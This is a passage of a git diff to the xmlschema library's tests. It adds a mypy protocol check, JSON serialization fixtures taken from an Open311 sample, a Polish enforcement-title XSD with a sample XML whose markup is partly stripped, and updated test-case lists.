Optional[Iterator[xmlschema.XMLSchemaValidationError]]: + _ = element.tag, xsd_element.type.name + return None + + +schema.validate(document, extra_validator=extra_validator1) + + +def extra_validator2( + element: ElementTree.Element, + xsd_element: xmlschema.XsdElement, +) -> Optional[Iterator[xmlschema.XMLSchemaValidationError]]: + _ = element.tag, xsd_element.type.name + return None + + +schema.validate(document, extra_validator=extra_validator2) diff --git a/tests/test_cases/mypy/protocols.py b/tests/test_cases/mypy/protocols.py new file mode 100755 index 0000000..8dbb960 --- /dev/null +++ b/tests/test_cases/mypy/protocols.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +def main() -> None: + from typing import Union, cast, Any + + from xmlschema import XMLSchema, XMLSchema11 + from xmlschema.validators import XsdSimpleType, XsdComplexType, \ + XsdAnyElement + from xmlschema.xpath import XPathElement + + from elementpath.protocols import XsdTypeProtocol, XsdElementProtocol, \ + XsdAttributeProtocol, GlobalMapsProtocol, XsdSchemaProtocol, XsdAttributeGroupProtocol + + ### + # Test protocols for XSD type annotations + BaseXsdType = Union[XsdSimpleType, XsdComplexType] + + class Base: + xsd_type: XsdTypeProtocol + + def __init__(self, xsd_type: XsdTypeProtocol) -> None: + self.xsd_type = xsd_type + + class Derived(Base): + def __init__(self, xsd_type: BaseXsdType) -> None: + super().__init__(xsd_type) + + def check_elem_type(xsd_element: XsdElementProtocol) -> None: + assert xsd_element.type is not None + + def check_any_elem_type(xsd_element: XsdElementProtocol) -> None: + assert xsd_element.type is None + + def check_attr_type(xsd_attribute: XsdAttributeProtocol) -> bool: + return xsd_attribute.type is not None + + def check_simple_type(xsd_type: XsdTypeProtocol) -> bool: + return xsd_type.is_simple() + + def check_maps(maps: GlobalMapsProtocol) -> bool: + return maps is not None + + def check_xsd_schema(s: XsdSchemaProtocol) -> None: + assert s is not None + + def get_attribute(attributes: XsdAttributeGroupProtocol, name: str) -> Any: + return attributes.get(name) + + schema = XMLSchema(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1" type="xs:string"/> + <xs:element name="elem2" type="xs:int"/> + <xs:simpleType name="type1"> + <xs:restriction base="xs:string"/> + </xs:simpleType> + <xs:group name="group1"> + <xs:sequence> + <xs:any processContents="lax"/> + </xs:sequence> + </xs:group> + <xs:attribute name="attr1" type="xs:int"/> + <xs:attribute name="attr2" type="xs:float"/> + </xs:schema>""") + + check_any_elem_type(cast(XsdAnyElement, schema.groups['group1'][0])) + + check_elem_type(schema.elements['elem1']) + + check_maps(schema.maps) + + check_xsd_schema(schema) + + a = cast(BaseXsdType, schema.types['type1']) + check_simple_type(a) + + b = schema.attributes['attr1'] + check_attr_type(b) + + check_elem_type(XPathElement('elem4', xsd_type=a)) + + attribute_group = schema.maps.attribute_groups['{http://www.w3.org/2001/XMLSchema}occurs'] + if not isinstance(attribute_group, tuple): + get_attribute(attribute_group, 'foo') + + schema11 = XMLSchema11(""" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1" type="xs:string"/> + <xs:complexType name="type1"> + <xs:sequence> + <xs:any processContents="lax"/> + </xs:sequence> + <xs:assert test="true()"/> + </xs:complexType> + </xs:schema>""") + + type1 = cast(XsdComplexType, schema11.types['type1']) + if type1.assertions: + assertion = type1.assertions[0] + + check_elem_type(assertion) + + +if __name__ == '__main__': + main() diff --git a/tests/test_cases/resources/dummy file #2.txt b/tests/test_cases/resources/dummy file #2.txt deleted file mode 100644 index a9e6024..0000000 --- a/tests/test_cases/resources/dummy file #2.txt +++ /dev/null @@ -1 +0,0 @@ -DUMMY CONTENT \ No newline at end of file diff --git a/tests/test_cases/resources/dummy file.xml b/tests/test_cases/resources/dummy file.xml new file mode 100644 index 0000000..e9cdcd9 --- /dev/null +++ b/tests/test_cases/resources/dummy file.xml @@ -0,0 +1 @@ +<root>DUMMY CONTENT</root> \ No newline at end of file diff --git a/tests/test_cases/serialization/abdera.json b/tests/test_cases/serialization/abdera.json new file mode 100644 index 0000000..6e85cc3 --- /dev/null +++ b/tests/test_cases/serialization/abdera.json @@ -0,0 +1,112 @@ +{ + "reports": { + "entry": [{ + "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637619.xml", + "title": "A large tree branch is blocking the road", + "updated": "2010-04-13T18:30:02-05:00", + "link": { + "attributes": { + "rel": "self", + "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637619.xml" + } + }, + "author": { + "name": "John Doe" + }, + "georss:point": "40.7111 -73.9565", + "category": { + "attributes": { + "label": "Damaged tree", + "term": "tree-damage", + "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" + }, + "children": ["006"] + }, + "content": { + "children": [{ + "report_id": "637619", + "address": "1600 Market St, San Francisco, CA 94103", + "description": "A large tree branch is blocking the road", + "status": "created", + "status_notes": [], + "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" + }], + "attributes": { + "type": "xml" + } + } + }, + { + "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637620.xml", + "title": "A large tree branch is blocking the road", + "updated": "2010-04-13T18:30:02-05:00", + "link": { + "attributes": { + "rel": "self", + "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637620.xml" + } + }, + "author": { + "name": "John Doe" + }, + "georss:point": "40.7111 -73.9565", + "category": { + "attributes": { + "label": "Damaged tree", + "term": "tree-damage", + "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" + }, + "children": ["006"] + }, + "content": { + "children": [{ + "report_id": "637620", + "address": "56 Market St, San Francisco, CA 94103", + "description": "A large tree branch is blocking the road", + "status": "created", + "status_notes": [], + "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" + }], + "attributes": { + "type": "xml" + } + } + }, + { + "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637621.xml", + "title": "A large tree branch is blocking the road", + "updated": "2010-04-13T18:30:02-05:00", + "link": { + "attributes": { + "rel": "self", + "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637621.xml" + } + }, + "author": { + "name": "John Doe" + }, + "georss:point": "40.7111 -73.9565", + "category": { + "attributes": { + "label": "Damaged tree", + "term": "tree-damage", + "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" + }, + "children": ["006"] + }, + "content": { + "children": [{ + "report_id": "637621", + "address": "1800 Market St, San Francisco, CA 94103", + "description": "A large tree branch is blocking the road", + "status": "created", + "status_notes": [], + "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" + }], + "attributes": { + "type": "xml" + } + } + }] + } +} \ No newline at end of file diff --git a/tests/test_cases/serialization/badgerfish.json b/tests/test_cases/serialization/badgerfish.json new file mode 100644 index 0000000..8080208 --- /dev/null +++ b/tests/test_cases/serialization/badgerfish.json @@ -0,0 +1,161 @@ +{ + "reports": { + "@xmlns": { + "$": "http://www.w3.org/2005/Atom", + "georss": "http://www.georss.org/georss" + }, + "entry": [{ + "id": { + "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml" + }, + "title": { + "$": "A large tree branch is blocking the road" + }, + "updated": { + "$": "2010-04-13T18:30:02-05:00" + }, + "link": { + "@rel": "self", + "@href": "http://open311.sfgov.org/dev/V1/reports/637619.xml" + }, + "author": { + "name": { + "$": "John Doe" + } + }, + "georss:point": { + "$": "40.7111 -73.9565" + }, + "category": { + "@label": "Damaged tree", + "@term": "tree-damage", + "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", + "$": "006" + }, + "content": { + "@type": "xml", + "@xmlns": { + "$": "http://open311.org/spec/georeport-v1" + }, + "report_id": { + "$": "637619" + }, + "address": { + "$": "1600 Market St, San Francisco, CA 94103" + }, + "description": { + "$": "A large tree branch is blocking the road" + }, + "status": { + "$": "created" + }, + "status_notes": {}, + "policy": { + "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + } + }, + { + "id": { + "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml" + }, + "title": { + "$": "A large tree branch is blocking the road" + }, + "updated": { + "$": "2010-04-13T18:30:02-05:00" + }, + "link": { + "@rel": "self", + "@href": "http://open311.sfgov.org/dev/V1/reports/637620.xml" + }, + "author": { + "name": { + "$": "John Doe" + } + }, + "georss:point": { + "$": "40.7111 -73.9565" + }, + "category": { + "@label": "Damaged tree", + "@term": "tree-damage", + "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", + "$": "006" + }, + "content": { + "@type": "xml", + "@xmlns": { + "$": "http://open311.org/spec/georeport-v1" + }, + "report_id": { + "$": "637620" + }, + "address": { + "$": "56 Market St, San Francisco, CA 94103" + }, + "description": { + "$": "A large tree branch is blocking the road" + }, + "status": { + "$": "created" + }, + "status_notes": {}, + "policy": { + "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + } + }, + { + "id": { + "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml" + }, + "title": { + "$": "A large tree branch is blocking the road" + }, + "updated": { + "$": "2010-04-13T18:30:02-05:00" + }, + "link": { + "@rel": "self", + "@href": "http://open311.sfgov.org/dev/V1/reports/637621.xml" + }, + "author": { + "name": { + "$": "John Doe" + } + }, + "georss:point": { + "$": "40.7111 -73.9565" + }, + "category": { + "@label": "Damaged tree", + "@term": "tree-damage", + "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", + "$": "006" + }, + "content": { + "@type": "xml", + "@xmlns": { + "$": "http://open311.org/spec/georeport-v1" + }, + "report_id": { + "$": "637621" + }, + "address": { + "$": "1800 Market St, San Francisco, CA 94103" + }, + "description": { + "$": "A large tree branch is blocking the road" + }, + "status": { + "$": "created" + }, + "status_notes": {}, + "policy": { + "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + } + }] + } +} \ No newline at end of file diff --git a/tests/test_cases/serialization/document.xml b/tests/test_cases/serialization/document.xml new file mode 100644 index 0000000..86c1e2d --- /dev/null +++ b/tests/test_cases/serialization/document.xml @@ -0,0 +1,76 @@ +<?xml-stylesheet type="text/xsl" href="xml2json.xslt"?> +<!-- +A test case derived from the sample XML at http://wiki.open311.org/JSON_and_XML_Conversion/ . +Used for checking different JSON serialization. The original example has been fixed by +incorrect default namespace declarations. +--> +<reports xmlns="http://www.w3.org/2005/Atom" + xmlns:georss="http://www.georss.org/georss"> + + <entry> + <id>tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml</id> + <title>A large tree branch is blocking the road + 2010-04-13T18:30:02-05:00 + + John Doe + + 40.7111 -73.9565 + + 006 + + + 637619 +
1600 Market St, San Francisco, CA 94103
+ A large tree branch is blocking the road + created + + The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code +
+ + + + + tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml + A large tree branch is blocking the road + 2010-04-13T18:30:02-05:00 + + John Doe + + 40.7111 -73.9565 + + 006 + + + 637620 +
56 Market St, San Francisco, CA 94103
+ A large tree branch is blocking the road + created + + The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code +
+ +
+ + + tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml + A large tree branch is blocking the road + 2010-04-13T18:30:02-05:00 + + John Doe + + 40.7111 -73.9565 + + 006 + + + 637621 +
1800 Market St, San Francisco, CA 94103
+ A large tree branch is blocking the road + created + + The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code +
+ +
+ + \ No newline at end of file diff --git a/tests/test_cases/serialization/jsonml.json b/tests/test_cases/serialization/jsonml.json new file mode 100644 index 0000000..a6d0ccc --- /dev/null +++ b/tests/test_cases/serialization/jsonml.json @@ -0,0 +1,223 @@ +[ + "reports", + { + "xmlns" : "http://www.w3.org/2005/Atom", + "xmlns:georss" : "http://www.georss.org/georss" + }, + [ + "entry", + [ + "id", + "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml" + ], + [ + "title", + "A large tree branch is blocking the road" + ], + [ + "updated", + "2010-04-13T18:30:02-05:00" + ], + [ + "link", + { + "href" : "http://open311.sfgov.org/dev/V1/reports/637619.xml", + "rel" : "self" + } + ], + [ + "author", + [ + "name", + "John Doe" + ] + ], + [ + "georss:point", + "40.7111 -73.9565" + ], + [ + "category", + { + "label" : "Damaged tree", + "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", + "term" : "tree-damage" + }, + "006" + ], + [ + "content", + { + "type" : "xml", + "xmlns" : "http://open311.org/spec/georeport-v1" + }, + [ + "report_id", + "637619" + ], + [ + "address", + "1600 Market St, San Francisco, CA 94103" + ], + [ + "description", + "A large tree branch is blocking the road" + ], + [ + "status", + "created" + ], + [ + "status_notes" + ], + [ + "policy", + "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + ] + ] + ], + [ + "entry", + [ + "id", + "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml" + ], + [ + "title", + "A large tree branch is blocking the road" + ], + [ + "updated", + "2010-04-13T18:30:02-05:00" + ], + [ + "link", + { + "href" : "http://open311.sfgov.org/dev/V1/reports/637620.xml", + "rel" : "self" + } + ], + [ + "author", + [ + "name", + "John Doe" + ] + ], + [ + "georss:point", + "40.7111 -73.9565" + ], + [ + "category", + { + "label" : "Damaged tree", + "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", + "term" : "tree-damage" + }, + "006" + ], + [ + "content", + { + "type" : "xml", + "xmlns" : "http://open311.org/spec/georeport-v1" + }, + [ + "report_id", + "637620" + ], + [ + "address", + "56 Market St, San Francisco, CA 94103" + ], + [ + "description", + "A large tree branch is blocking the road" + ], + [ + "status", + "created" + ], + [ + "status_notes" + ], + [ + "policy", + "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + ] + ] + ], + [ + "entry", + [ + "id", + "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml" + ], + [ + "title", + "A large tree branch is blocking the road" + ], + [ + "updated", + "2010-04-13T18:30:02-05:00" + ], + [ + "link", + { + "href" : "http://open311.sfgov.org/dev/V1/reports/637621.xml", + "rel" : "self" + } + ], + [ + "author", + [ + "name", + "John Doe" + ] + ], + [ + "georss:point", + "40.7111 -73.9565" + ], + [ + "category", + { + "label" : "Damaged tree", + "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", + "term" : "tree-damage" + }, + "006" + ], + [ + "content", + { + "type" : "xml", + "xmlns" : "http://open311.org/spec/georeport-v1" + }, + [ + "report_id", + "637621" + ], + [ + "address", + "1800 Market St, San Francisco, CA 94103" + ], + [ + "description", + "A large tree branch is blocking the road" + ], + [ + "status", + "created" + ], + [ + "status_notes" + ], + [ + "policy", + "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + ] + ] + ] +] \ No newline at end of file diff --git a/tests/test_cases/serialization/parker.json b/tests/test_cases/serialization/parker.json new file mode 100644 index 0000000..bc14aba --- /dev/null +++ b/tests/test_cases/serialization/parker.json @@ -0,0 +1,61 @@ +{ + "entry":[ + { + "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml", + "title":"A large tree branch is blocking the road", + "updated":"2010-04-13T18:30:02-05:00", + "link":null, + "author":{ + "name":"John Doe" + }, + "georss:point":"40.7111 -73.9565", + "category":"006", + "content":{ + "report_id":"637619", + "address":"1600 Market St, San Francisco, CA 94103", + "description":"A large tree branch is blocking the road", + "status":"created", + "status_notes":null, + "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + }, + { + "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml", + "title":"A large tree branch is blocking the road", + "updated":"2010-04-13T18:30:02-05:00", + "link":null, + "author":{ + "name":"John Doe" + }, + "georss:point":"40.7111 -73.9565", + "category":"006", + "content":{ + "report_id":"637620", + "address":"56 Market St, San Francisco, CA 94103", + "description":"A large tree branch is blocking the road", + "status":"created", + "status_notes":null, + "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + }, + { + "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml", + "title":"A large tree branch is blocking the road", + "updated":"2010-04-13T18:30:02-05:00", + "link":null, + "author":{ + "name":"John Doe" + }, + "georss:point":"40.7111 -73.9565", + "category":"006", + "content":{ + "report_id":"637621", + "address":"1800 Market St, San Francisco, CA 94103", + "description":"A large tree branch is blocking the road", + "status":"created", + "status_notes":null, + "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" + } + } + ] +} diff --git a/tests/test_cases/testfiles b/tests/test_cases/testfiles index 73c2717..fa1c257 100644 --- a/tests/test_cases/testfiles +++ b/tests/test_cases/testfiles @@ -39,11 +39,15 @@ features/decoder/mixed-content.xsd features/decoder/data4-mixed.xml features/derivations/complex-extensions.xsd --errors=1 +features/derivations/complex11-restrictions.xsd --version=1.1 features/derivations/complex-with-simple-content-restriction.xsd features/derivations/list_types.xsd --errors=1 features/derivations/list_types.xml --errors=2 -features/derivations/invalid_enumeration_restriction.xsd --errors=1 -features/derivations/invalid_restrictions1.xsd --errors=2 +features/derivations/invalid-enumeration-restriction.xsd --errors=1 +features/derivations/invalid-restrictions1.xsd --errors=3 +features/derivations/invalid-restrictions1.xsd --version=1.1 --errors=1 +features/derivations/invalid-restrictions2.xsd --errors=1 +features/derivations/invalid-restrictions2.xsd --version=1.1 --errors=1 features/elements/type_alternatives.xsd --errors=3 features/elements/type_alternatives.xsd --version=1.1 @@ -80,6 +84,10 @@ features/namespaces/include-case3.xsd features/namespaces/include-case4.xsd --errors=2 features/namespaces/include-case5.xsd features/namespaces/include-case6.xsd --errors=1 +features/namespaces/include-case7.xsd --errors=1 +features/namespaces/include-case8.xsd +features/namespaces/included8-redefine.xsd +features/namespaces/dynamic-case1-override.xsd --version=1.1 features/patterns/patterns.xsd features/patterns/patterns.xml --errors=6 @@ -100,7 +108,7 @@ issues/issue_026/issue_026-3.xml --errors=1 issues/issue_028/issue_028-1.xml issues/issue_028/issue_028-2.xml --errors=1 issues/issue_029/issue_029-1.xml -issues/issue_029/issue_029-2.xml --errors=2 +issues/issue_029/issue_029-2.xml --errors=1 issues/issue_029/issue_029-3.xml --errors=1 issues/issue_035/dates.xsd issues/issue_035/dates.xml --errors=1 @@ -135,3 +143,16 @@ issues/issue_266/issue_266-2.xsd issues/issue_266/issue_266-2.xml issues/issue_276/schema.xsd issues/issue_276/dummy.xml +issues/issue_298/issue_298-1.xml -L 'http://xmlschema.test/ns' issue_298.xsd +issues/issue_298/issue_298-2.xml -L 'http://xmlschema.test/ns' issue_298.xsd +issues/issue_306/issue_306.xsd +issues/issue_306/issue_306-alt.xsd +issues/issue_311/correct_no_list.xml --version=1.1 --validation-only \ + -L 'http://www.ludd21.com/kPartModel' kPartModel_reduit_issue.xsd +issues/issue_311/incorrect_with_list.xml --version=1.1 --validation-only \ + -L 'http://www.ludd21.com/kPartModel' kPartModel_reduit_issue.xsd +issues/issue_349/issue_349.xml --errors=1 --validation-only +issues/issue_349/issue_349.xml --version=1.1 +issues/issue_417/issue_417.xml +issues/issue_437/issue_437-1.xml --version=1.1 +issues/issue_437/issue_437-2.xml --version=1.1 diff --git a/tests/test_cases/translations/pl/tw-1(5)8e.xsd b/tests/test_cases/translations/pl/tw-1(5)8e.xsd new file mode 100644 index 0000000..e0d973a --- /dev/null +++ b/tests/test_cases/translations/pl/tw-1(5)8e.xsd @@ -0,0 +1,369 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + Wniosek wierzyciela o dochodzenie należności pieniężnych + + + + + Nagłówek wniosku + + + + + Tytuł wykonawczy stosowany w egzekucji należności pieniężnych + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Tytuł wykonawczy stosowany w egzekucji należności pieniężnych + + + + + Dane referencyjne tytułu wykonawczego + + + + + Dane identyfikacyjne zobowiązanego + + + + + + + Osoba fizyczna + + + + + + + + Występuje jedynie w przypadku gdy wskazano "następca prawny" lub "osoba trzecia" jako rodzaj odpowiedzialności zobowiązanego + + + + + + + + + + Podmiot niebędący osobą fizyczną + + + + + + + + Występuje jedynie w przypadku gdy wskazano "następca prawny" lub "osoba trzecia" jako rodzaj odpowiedzialności zobowiązanego + + + + + + + + + + + + + + + + + + + + + + + + + Dane dotyczące należności pieniężnych + + + + + Dane identyfikacyjne wierzyciela + + + + + Wprowadzenie wartości "1" oznacza potwierdzenie treści pouczenia + + + + + + Środkami egzekucyjnymi stosowanymi w egzekucji należności pieniężnych są egzekucje: z pieniędzy, z wynagrodzenia za pracę, ze świadczeń z zaopatrzenia emerytalnego oraz ubezpieczenia społecznego, a także z renty socjalnej, z rachunków bankowych, z innych wierzytelności pieniężnych, z praw z instrumentów finansowych w rozumieniu przepisów o obrocie instrumentami finansowymi, zapisanych na rachunku papierów wartościowych lub innym rachunku oraz z wierzytelności z rachunku pieniężnego służącego do obsługi takich rachunków, z papierów wartościowych niezapisanych na rachunku papierów wartościowych, z weksla, z autorskich praw majątkowych i praw pokrewnych oraz z praw własności przemysłowej, z udziału w spółce z ograniczoną odpowiedzialnością, z pozostałych praw majątkowych, z ruchomości oraz z nieruchomości , a od dnia 1 marca 2021 r. również z praw majątkowych zarejestrowanych w rejestrze akcjonariuszy (art. 1a pkt 12 lit. a ustawy). + +Zobowiązanemu przysługuje prawo wniesienia do wierzyciela, za pośrednictwem organu egzekucyjnego, zarzutu w sprawie egzekucji administracyjnej. +Zarzut w sprawie egzekucji administracyjnej winien określać istotę i zakres żądania oraz dowody uzasadniające to żądanie (art . 33 § 1, 2 i 4 ustawy). +Zgodnie z art. 33 § 2 ustawy podstawą zarzutu w sprawie egzekucji administracyjnej jest: +1) nieistnienie obowiązku; +2) określenie obowiązku niezgodnie z treścią obowiązku wynikającego z: +a) orzeczenia, o którym mowa w części D poz. 3–5 tytułu wykonawczego, +b) dokumentu, o którym mowa w części D poz. 3 i 4 tytułu wykonawczego, +c) przepisu prawa, jeżeli obowiązek wynika bezpośrednio z tego przepisu; +3) błąd co do zobowiązanego; +4) brak uprzedniego doręczenia zobowiązanemu upomnienia, jeżeli jest wymagane; +5) wygaśnięcie obowiązku w całości albo w części; +6) brak wymagalności obowiązku w przypadku: +a) odroczenia terminu wykonania obowiązku, +b) rozłożenia na raty spłaty należności pieniężnej, +c) wystąpienia innej przyczyny niż określona w lit. a i b. +Wniesienie przez zobowiązanego zarzutu w sprawie egzekucji administracyjnej, nie później niż w terminie 7 dni od dnia doręczenia odpisu/ wydruku tytułu wykonawczego, zawiesza postępowanie egzekucyjne w całości albo w części z dniem doręczenia tego zarzutu organowi egzekucyjnemu do czasu zawiadomienia tego organu o wydaniu ostatecznego postanowienia w sprawie tego zarzutu (art. 35 § 1 ustawy). Wniesienie zarzutu w sprawie egzekucji administracyjnej po terminie 7 dni od dnia doręczenia odpisu/ wydruku tytułu wykonawczego nie zawiesza postępowania egzekucyjnego. Wierzyciel po otrzymaniu zarzutu w sprawie egzekucji administracyjnej może w uzasadnionych przypadkach wystąpić z wnioskiem o podjęcie zawieszonego postępowania egzekucyjnego w całości albo w części (art. 35 § 1a ustawy). +W przypadku zmienionego tytułu wykonawczego nie przysługuje prawo zgłoszenia zarzutu w sprawie egzekucji administracyjnej. +Zarzut w sprawie egzekucji administracyjnej wnosi się nie później niż: +1) w terminie 30 dni od dnia wyegzekwowania w całości obowiązku, kosztów upomnienia i kosztów egzekucyjnych; +2) do dnia zapłaty w całości należności pieniężnej, odsetek z tytułu niezapłacenia jej w terminie, kosztów upomnienia i kosztów egzekucyjnych; +3) w terminie 7 dni od dnia doręczenia zobowiązanemu postanowienia o umorzeniu postępowania egzekucyjnego w całości albo w części. + +Zobowiązany ma obowiązek niezwłocznie zawiadomić organ egzekucyjny o zmianie adresu miejsca zamieszkania lub siedziby. W razie niewykonania tego obowiązku doręczenie pisma organu egzekucyjnego pod dotychczasowym adresem jest skuteczne (art. 36 § 3 pkt 2 i § 4 ustawy). Na zobowiązanego, który nie zawiadomił organu egzekucyjnego o zmianie adresu miejsca zamieszkania lub siedziby, może być nałożona kara pieniężna (art. 168d § 3 pkt 1 lit. a tiret pierwsze ustawy). + +Jeżeli w części A wpisano jako zobowiązanych dane małżonków, tytuł wykonawczy stanowi podstawę przeprowadzenia egzekucji administracyjnej z ich majątku wspólnego i ich majątków osobistych. + +Tytuł wykonawczy stanowi podstawę do prowadzenia egzekucji z majątku osobistego zobowiązanego i majątku wspólnego zobowiązanego i jego małżonka, jeżeli zgodnie z odrębnymi przepisami odpowiedzialność zobowiązanego za należność pieniężną i odsetki z tytułu niezapłacenia jej w terminie obejmuje majątek osobisty zobowiązanego i majątek wspólny zobowiązanego i jego małżonka. W takim przypadku tytuł wykonawczy jest podstawą do prowadzenia egzekucji również kosztów upomnienia oraz kosztów egzekucyjnych powstałych w postępowaniu egzekucyjnym prowadzonym na podstawie tego tytułu wykonawczego (art. 27e § 1 i 2 ustawy). +Małżonkowi zobowiązanego przysługuje prawo wniesienia wniosku do organu egzekucyjnego o udzielenie informacji o aktualnej wysokości egzekwowanej należności pieniężnej, odsetek z tytułu niezapłacenia jej w terminie, kosztów upomnienia i kosztów egzekucyjnych (art. 27e § 4 ustawy), a także wniesienia do wierzyciela, za pośrednictwem organu egzekucyjnego, sprzeciwu w sprawie odpowiedzialności majątkiem wspólnym. W sprzeciwie określa się istotę i zakres żądania oraz dowody uzasadniające to żądanie. Sprzeciw może być wniesiony jeden raz w postępowaniu egzekucyjnym (art. 27f § 3 ustawy). W przypadku egzekucji z nieruchomości wchodzącej w skład majątku wspólnego zobowiązanego i jego małżonka sprzeciw wnosi się nie później niż w terminie 14 dni od dnia doręczenia małżonkowi zobowiązanego wezwania do zapłaty egzekwowanej należności pieniężnej wraz z odsetkami z tytułu niezapłacenia jej w terminie i kosztami egzekucyjnymi (art. 27f § 2 ustawy). + + + + + + + + + + + + + + Rodzaj dokumentu + + + + + + tytuł wykonawczy + + + + + zmieniony tytuł wykonawczy + + + + + dalszy tytuł wykonawczy + + + + + ponowny tytuł wykonawczy + + + + + + + + Dalszy tytuł wykonawczy + + + + + + Dane pierwotnego tytułu wykonawczego + + + + + Numer porządkowy dalszego tytułu wykonawczego + + + + + Cel wydania dalszego tytułu wykonawczego + + + + + + prowadzenie egzekucji przez inny organ egzekucyjny + + + + + zabezpieczenie hipoteką przymusową, w tym hipoteką przymusową morską + + + + + ponowne wszczęcie egzekucji administracyjnej + + + + + + + + Data wydania dalszego tytułu wykonawczego + + + + + Rodzaj dokumentu, którego dotyczy dalszy tytuł wykonawczy + + + + + + tytułu wykonawczego + + + + + zmienionego tytułu wykonawczego + + + + + + + + + + + + Adnotacja dotycząca ponownie wydanego tytułu wykonawczego + + + + + + 6.A. Data wystawienia utraconego tytułu wykonawczego + + + + + 6.B. Nazwa wierzyciela + + + + + 6.C. Numer (sygnatura) postanowienia wierzyciela + + + + + + + + + + 6.D. Data wydania postanowienia przez wierzyciela + + + + + Rodzaj utraconego dokumentu + + + + + + tytułu wykonawczego + + + + + zmienionego tytułu wykonawczego + + + + + + + + + + + + + + + Symbol wzoru formularza + + + + + + \ No newline at end of file diff --git a/tests/test_cases/translations/pl/tytul_wykonawczy_niekompletny.xml b/tests/test_cases/translations/pl/tytul_wykonawczy_niekompletny.xml new file mode 100644 index 0000000..cc0d645 --- /dev/null +++ b/tests/test_cases/translations/pl/tytul_wykonawczy_niekompletny.xml @@ -0,0 +1,139 @@ + + + + + + + + 2022-12-15 + + + + + + 1435 + e8cfbf72-cede-4a2e-b027-d24c783fa812 + wydanie_tytułu_12152022_000000 + TW-1 + 5 + art. 26 ustawy z dnia 17 czerwca 1966 r. o postępowaniu egzekucyjnym w administracji (Dz. U. z 2020 r. poz. 1427, z późn. zm.), zwanej dalej „ustawą” + + + + 01/2023 + 2023-02-15 + 1 + + + + Austriackie płaczki + + 198765432 + 3557623921 + + + + PL + + + bydgoskie + bydgoski + Bydg + + + 150 + 87129 + + + 1 + + + + Treść parametru 1 + Nieuiszczony podatek + + deklaracja + + + + 31.11 + 2022-12-18 + + + + + + 23.50 + + 2022-01-01 + 2022-12-31 + + Treść parametru 2 + + + 23.01 + + 2022-01-01 + 2022-12-31 + + Treść parametru 2 + + + + Treść parametru 3 + + false + false + + + + PREZYDENT MIASTA STOŁECZNEGO WARSZAWY + + PL + + + mazowieckie + Warszawa + Warszawa + Warszawa + Plac Bankowy + + + 3 + 5 + 00950 + + + 5252248481 + 015259640 + + + Centrum Obsługi Podatnika + + PL + + + mazowieckie + Warszawa + Warszawa + Warszawa + Obozowa + + + 57 + 01161 + + + + 1 + + Mikołaj + Linda + ogrodnik + + + 1 + + + + diff --git a/tests/test_cli.py b/tests/test_cli.py index a2f0238..4d82c3f 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -70,33 +70,33 @@ def test_validate_command_02(self, mock_out, mock_err): @patch('sys.stdout', new_callable=io.StringIO) def test_validate_command_03(self, mock_out, mock_err): self.run_validate('vehicles-2_errors.xml') - self.assertEqual(mock_err.getvalue(), '') - 